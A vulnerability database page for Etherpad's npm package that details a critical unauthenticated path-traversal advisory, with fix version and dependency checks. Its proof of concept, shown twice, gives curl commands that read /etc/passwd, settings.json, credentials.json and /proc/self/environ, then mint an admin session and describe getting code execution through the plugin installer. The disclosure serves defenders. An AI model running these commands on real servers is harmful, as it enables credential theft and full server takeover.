Vulnerabilities in pkg:npm/ep_etherpad-lite

PACKAGE
Advisory Identifier: GHSA-mc8w-wjhw-45x5
Advisory Summary

CVE-2026-114516 is a CRITICAL (CVSS 9.8) pre-auth arbitrary file read vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Etherpad libraries in the npm ecosystem. The issue involves pre-auth arbitrary file read. Remediation is available by upgrading affected packages to version 3.3.3.

7 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/ep_etherpad-lite

7 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/ep_etherpad-lite. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-mc8w-wjhw-45x5 CVE-2026-114516 CRITICAL Etherpad: Pre-auth arbitrary file read
GHSA-2jp7-wwpg-3p9w CVE-2026-55090 HIGH Etherpad has stored XSS in HTML export via unescaped attribute-pool values
GHSA-92hr-gmr6-h8cp - MODERATE Etherpad addressed weak token RNG, login timing, plugin path handling, API request handling
GHSA-vqfp-p66c-xrp9 CVE-2026-55088 MODERATE ep_etherpad-lite: Device-to-device author-token transfer endpoint is replayable, never expires, and exposes the cleartext author token
GHSA-2jwf-f4xq-f24h CVE-2026-55086 MODERATE ep_etherpad-lite: Import/export uses Math.random() for temp file paths; predictable paths on shared /tmp enable symlink-based file overwrite
GHSA-fjgc-3mj7-8rg8 CVE-2026-55087 MODERATE ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via x-proxy-path Header
GHSA-mvmv-rq2j-97p2 CVE-2018-6835 CRITICAL Etherpad Lite Access Restriction Bypass

CVE-2026-114516 at a Glance

CVE Identifier CVE-2026-114516
GHSA Identifier GHSA-mc8w-wjhw-45x5
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product Etherpad
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-114516

To remediate this vulnerability, upgrade all affected Etherpad dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ep_etherpad-lite fixed: 3.3.3
npm install ep_etherpad-lite@3.3.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls ep_etherpad-lite

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-114516, inspect your project dependencies using npm:

npm ls ep_etherpad-lite

Analyze the terminal output to locate any version of Etherpad in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.3.3), your application is affected.

Note: The npm ls ep_etherpad-lite command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Etherpad, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated path‑traversal / arbitrary file read vulnerability in Etherpad's /static/* handler allows any remote, unauthenticated user to read any file on the server's filesystem (e.g. GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd returns /etc/passwd) available to the user running the etherpad software. Because the endpoint is mounted before the authentication middleware, no credentials, session, or configuration change are required. The read primitive could escalate to a full server compromise: on a typical deployment by disclosing settings.json / credentials.json / /proc/self/environ, which contain the admin password, giving an attacker an admin session and, through the admin plugin installer, remote code execution. ### Details Etherpad serves plugin static assets through src/node/utils/Minify.ts. The request path is first passed through the canonical sanitizer src/node/utils/sanitizePathname.ts, which is careful to convert backslashes to forward slashes only on Windows: ``` // src/node/utils/sanitizePathname.ts:11-20 p = pathApi.normalize(p); if (pathApi.isAbsolute(p)) throw new Error(`absolute paths are forbidden: ${p}`); if (p.split(pathApi.sep)[0] === '..') throw new Error(`directory traversal: ${p}`); // THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\\' in the input // pathname would not be normalized away before being converted to '../'. if (pathApi.sep === '\\') p = p.replace(/\\/g, '/'); ``` On Linux a backslash is an ordinary filename byte, so an input segment like ..\..\..\test contains no ./.. path components and passes every check in sanitizePathname unchanged. The project's own test suite confirms this: src/tests/backend-new/specs/sanitizePathname.ts:62 lists ['posix', '..\\foo'] among the accepted paths (returned unchanged). The vulnerability is that Minify.ts then performs that Windows‑only conversion unconditionally, after the sanitizer has run, justified by a comment asserting the opposite of the invariant above: ``` // src/node/utils/Minify.ts:171-186 const match = filename.match(/^plugins\/([^/]+)(\/(?:(static\/.*)|.*))?$/); if (match) { const library = match[1]; const libraryPath = match[2] || ''; if (plugins.plugins[library] && match[3]) { const plugin = plugins.plugins[library]; const pluginPath = plugin.package.realPath; // for 'ep_etherpad-lite' == <root>/src filename = path.join(pluginPath, libraryPath); // -> absolute path, backslashes preserved // ... "This conversion does not introduce a directory // traversal vulnerability because all '..\\' substrings have already been removed by // sanitizePathname." // <-- FALSE on POSIX filename = filename.replace(/\\/g, '/'); // <-- reintroduces ../ AFTER the check } ``` After line 186 the string becomes a real traversal (<root>/src/static/../../../../etc/passwd) with no re‑normalization and no containment check before the filesystem calls at Minify.ts:248 (fs.stat) and Minify.ts:315 (fs.readFile). Because path.join at line 179 produced an absolute path, path.resolve(ROOT_DIR, filename) discards ROOT_DIR entirely, and POSIX path.resolve collapses surplus .. at /, so the payload is root‑depth‑agnostic. The route is reachable pre‑authentication. It is registered on the expressPreSession hook: ``` // src/ep.json { "name": "static", "hooks": { "expressPreSession": "ep_etherpad-lite/node/hooks/express/static" } } // src/node/hooks/express/static.ts:38 app.all('/static/*filename', minify); ``` and expressPreSession runs before the auth middleware: ``` // src/node/hooks/express.ts:244-247 await hooks.aCallAll('expressPreSession', {app, settings}); // static route registered here app.use(exports.sessionMiddleware); app.use(webaccess.checkAccess); // auth runs AFTER ``` The plugin branch is always taken because src/static/js/pluginfw/plugins.ts:153-158 unconditionally registers the core pseudo‑plugin ep_etherpad-lite with package.realPath = <root>/src. Two decode facts make the exploit functional: Express 5 / path‑to‑regexp v8 decode wildcard params per segment, once ((v) => v.split('/').map(decodeURIComponent)), so req.params.filename.join('/') (Minify.ts:147) yields the once‑decoded path fed to the sanitizer, and %5C (encoded backslash) is the only working separator (%2F decodes to /, is re‑split, and is rejected by the split('/')[0] === '..' guard). ### PoC Applies to a default production deployment (no special configuration; works on Linux, e.g. the Docker image or a systemd source install). Replace TARGET:9001 with the instance. 1. Read /etc/passwd (or any file) with no authentication. --path-as-is prevents the client from folding the traversal: ``` curl --path-as-is \ 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd' ``` Other high‑value reads (over‑shoot the .. depth; it is absorbed at /): admin password + secrets, root-agnostic via /proc/self/cwd ``` curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json' curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json' ``` on docker-compose deployments the admin password is an env var: `curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'` Each response returns the raw file bytes (with a harmless Content-Type: false header for extension‑less targets, Node coerces the value and does not throw). 2. Escalate to RCE. Recover the admin credential from the files read in step 1, then: mint an admin session ``` curl -i -X POST 'http://TARGET:9001/admin-auth/' \ -H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)" # -> 200 + Set-Cookie: <prefix>express_sid=... ``` Using that express_sid cookie, connect to the /pluginfw/installer Socket.IO namespace (gated only on session.user.is_admin, src/node/hooks/express/adminplugins.ts:22) and emit install for an attacker‑controlled ep_* plugin. Etherpad require()s the plugin's code in‑process during plugins.update() (src/static/js/pluginfw/shared.ts:30), executing arbitrary code as the Etherpad user. ### Impact - Type: Improper limitation of a pathname → unauthenticated arbitrary file read, with potential to remote code execution. - Access required: None. The vulnerable route is served before the authentication/authorization middleware, so it is exploitable by any client that can reach the HTTP port, regardless of requireAuthentication, requireAuthorization, or users configuration. - What an attacker can access: any file readable by the Etherpad process user, including settings.json/credentials.json (admin password, sessionKey, database credentials, SSO client secrets), /proc/self/environ (env‑supplied secrets such as ADMIN_PASSWORD, DB_PASS), the pad database, TLS private keys, and OS files such as /etc/passwd. - Escalation: the disclosed admin password yields an admin session; the admin plugin installer then provides in‑process code execution, i.e. full server takeover. Even without the plugin step, admin access permits rewriting the entire configuration (saveSettings + restartServer) and exfiltrating all stored data. - Who is impacted: every operator running an affected version, most severely those exposing Etherpad directly to untrusted networks. A reverse proxy does not mitigate it, the traversal uses %5C, which proxies forward unchanged.

CVE-2026-114516 Affected Etherpad Versions

1 component(s)
Fixed Versions:
3.3.3
Product / Package Ecosystem Affected Versions Fixed Version
ep_etherpad-lite
npm
≥ 1.8.14
< 3.3.3
3.3.3

References

Frequently Asked Questions

What is CVE-2026-114516?
CVE-2026-114516 is a security vulnerability in Etherpad involving Pre-auth arbitrary file read under CWE-306: Missing Authentication for Critical Function.
Which Etherpad versions are affected?
Affected versions include releases prior to 3.3.3 across affected packages: ep_etherpad-lite.
What version fixes CVE-2026-114516?
Upgrading to 3.3.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ep_etherpad-lite affected?
Yes, ep_etherpad-lite is affected in releases prior to 3.3.3. Upgrade your dependency to 3.3.3 or later.
What is the CVSS score of CVE-2026-114516?
CVE-2026-114516 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-114516?
CVE-2026-114516 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check npm dependencies for CVE-2026-114516?
Run the dependency tree command: 'npm ls ep_etherpad-lite'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mc8w-wjhw-45x5",
  "modified" : "2026-11-20T00:23:45Z",
  "published" : "2026-11-20T00:23:45Z",
  "aliases" : [ "CVE-2026-114516" ],
  "summary" : "Etherpad: Pre-auth arbitrary file read",
  "details" : "### Summary\n\nAn unauthenticated path‑traversal / arbitrary file read vulnerability in Etherpad's /static/* handler allows any remote, unauthenticated user to read any file on the server's filesystem (e.g. GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd returns /etc/passwd) available to the user running the etherpad software. Because the endpoint is mounted before the authentication middleware, no credentials, session, or configuration change are required. The read primitive could escalate to a full server compromise: on a typical deployment by disclosing settings.json / credentials.json / /proc/self/environ, which contain the admin password, giving an attacker an admin session and, through the admin plugin installer, remote code execution.\n\n### Details\n\nEtherpad serves plugin static assets through src/node/utils/Minify.ts. The request path is first passed through the canonical sanitizer src/node/utils/sanitizePathname.ts, which is careful to convert backslashes to forward slashes only on Windows:\n\n```\n// src/node/utils/sanitizePathname.ts:11-20\np = pathApi.normalize(p);\nif (pathApi.isAbsolute(p)) throw new Error(`absolute paths are forbidden: ${p}`);\nif (p.split(pathApi.sep)[0] === '..') throw new Error(`directory traversal: ${p}`);\n// THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\\\\' in the input\n// pathname would not be normalized away before being converted to '../'.\nif (pathApi.sep === '\\\\') p = p.replace(/\\\\/g, '/');\n```\n\nOn Linux a backslash is an ordinary filename byte, so an input segment like ..\\..\\..\\test contains no ./.. path components and passes every check in sanitizePathname unchanged. The project's own test suite confirms this: src/tests/backend-new/specs/sanitizePathname.ts:62 lists ['posix', '..\\\\foo'] among the accepted paths (returned unchanged).\n\nThe vulnerability is that Minify.ts then performs that Windows‑only conversion unconditionally, after the sanitizer has run, justified by a comment asserting the opposite of the invariant above:\n\n```\n// src/node/utils/Minify.ts:171-186\nconst match = filename.match(/^plugins\\/([^/]+)(\\/(?:(static\\/.*)|.*))?$/);\nif (match) {\nconst library = match[1];\nconst libraryPath = match[2] || '';\nif (plugins.plugins[library] && match[3]) {\nconst plugin = plugins.plugins[library];\nconst pluginPath = plugin.package.realPath;      // for 'ep_etherpad-lite' == <root>/src\nfilename = path.join(pluginPath, libraryPath);   // -> absolute path, backslashes preserved\n// ... \"This conversion does not introduce a directory\n// traversal vulnerability because all '..\\\\' substrings have already been removed by\n// sanitizePathname.\"                              // <-- FALSE on POSIX\nfilename = filename.replace(/\\\\/g, '/');          // <-- reintroduces ../ AFTER the check\n}\n```\n\nAfter line 186 the string becomes a real traversal (<root>/src/static/../../../../etc/passwd) with no re‑normalization and no containment check\nbefore the filesystem calls at Minify.ts:248 (fs.stat) and Minify.ts:315 (fs.readFile). Because path.join at line 179 produced an absolute\npath, path.resolve(ROOT_DIR, filename) discards ROOT_DIR entirely, and POSIX path.resolve collapses surplus .. at /, so the payload is root‑depth‑agnostic.\n\nThe route is reachable pre‑authentication. It is registered on the expressPreSession hook:\n\n```\n// src/ep.json\n{ \"name\": \"static\", \"hooks\": { \"expressPreSession\": \"ep_etherpad-lite/node/hooks/express/static\" } }\n// src/node/hooks/express/static.ts:38\napp.all('/static/*filename', minify);\n```\n\nand expressPreSession runs before the auth middleware:\n\n```\n// src/node/hooks/express.ts:244-247\nawait hooks.aCallAll('expressPreSession', {app, settings});   // static route registered here\napp.use(exports.sessionMiddleware);\napp.use(webaccess.checkAccess);                                // auth runs AFTER\n```\n\nThe plugin branch is always taken because src/static/js/pluginfw/plugins.ts:153-158 unconditionally registers the core pseudo‑plugin ep_etherpad-lite with package.realPath = <root>/src.\n\nTwo decode facts make the exploit functional: Express 5 / path‑to‑regexp v8 decode wildcard params per segment, once ((v) =>  v.split('/').map(decodeURIComponent)), so req.params.filename.join('/') (Minify.ts:147) yields the once‑decoded path fed to the sanitizer, and %5C (encoded backslash) is the only working separator (%2F decodes to /, is re‑split, and is rejected by the split('/')[0] === '..' guard).\n\n### PoC\n\nApplies to a default production deployment (no special configuration; works on Linux, e.g. the Docker image or a systemd source install). Replace TARGET:9001 with the instance.\n\n1. Read /etc/passwd (or any file) with no authentication. --path-as-is prevents the client from folding the traversal:\n\n```\ncurl --path-as-is \\\n'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'\n```\n\nOther high‑value reads (over‑shoot the .. depth; it is absorbed at /):\n\nadmin password + secrets, root-agnostic via /proc/self/cwd\n```\ncurl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json'\ncurl --path-as-is\n'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json'\n```\non docker-compose deployments the admin password is an env var:\n`curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'`\n\nEach response returns the raw file bytes (with a harmless Content-Type: false header for extension‑less targets, Node coerces the value and does not throw).\n\n2. Escalate to RCE. Recover the admin credential from the files read in step 1, then:\n\nmint an admin session\n```\ncurl -i -X POST 'http://TARGET:9001/admin-auth/' \\\n-H \"Authorization: Basic $(printf 'admin:PASSWORD' | base64)\"\n# -> 200 + Set-Cookie: <prefix>express_sid=...\n```\n\nUsing that express_sid cookie, connect to the /pluginfw/installer Socket.IO namespace (gated only on session.user.is_admin, src/node/hooks/express/adminplugins.ts:22) and emit install for an attacker‑controlled ep_* plugin. Etherpad require()s the plugin's code in‑process during plugins.update() (src/static/js/pluginfw/shared.ts:30), executing arbitrary code as the Etherpad user.\n\n### Impact\n\n- Type: Improper limitation of a pathname → unauthenticated arbitrary file read, with potential to remote code execution.\n- Access required: None. The vulnerable route is served before the authentication/authorization middleware, so it is exploitable by any client that can reach the HTTP port, regardless of requireAuthentication, requireAuthorization, or users configuration.\n- What an attacker can access: any file readable by the Etherpad process user, including settings.json/credentials.json (admin password, sessionKey, database credentials, SSO client secrets), /proc/self/environ (env‑supplied secrets such as ADMIN_PASSWORD, DB_PASS), the pad database, TLS private keys, and OS files such as /etc/passwd.\n- Escalation: the disclosed admin password yields an admin session; the admin plugin installer then provides in‑process code execution, i.e. full server takeover. Even without the plugin step, admin access permits rewriting the entire configuration (saveSettings + restartServer) and exfiltrating all stored data.\n- Who is impacted: every operator running an affected version, most severely those exposing Etherpad directly to untrusted networks. A reverse proxy does not mitigate it, the traversal uses %5C, which proxies forward unchanged.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ep_etherpad-lite"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.8.14"
      }, {
        "fixed" : "3.3.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ether/etherpad/security/advisories/GHSA-mc8w-wjhw-45x5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ether/etherpad/pull/8081"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ether/etherpad/commit/9c8d16d50e2fdfd9693ab35c43280410cb4db2fc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ether/etherpad"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-22", "CWE-306" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-20T00:23:45Z",
    "nvd_published_at" : null
  }
}